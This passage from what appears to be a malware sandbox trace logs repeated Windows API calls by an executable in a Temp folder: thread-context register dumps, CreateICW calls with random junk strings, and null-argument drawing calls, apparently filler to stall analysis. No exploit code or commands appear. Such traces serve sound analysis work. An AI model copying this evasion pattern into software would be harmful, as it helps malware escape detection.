[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.261] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.262] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.262] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.262] GetConsoleCP () returned 0x0
	[0066.262] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.262] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.263] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.263] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.263] GetConsoleCP () returned 0x0
	[0066.264] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.264] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.265] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.265] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.265] GetConsoleCP () returned 0x0
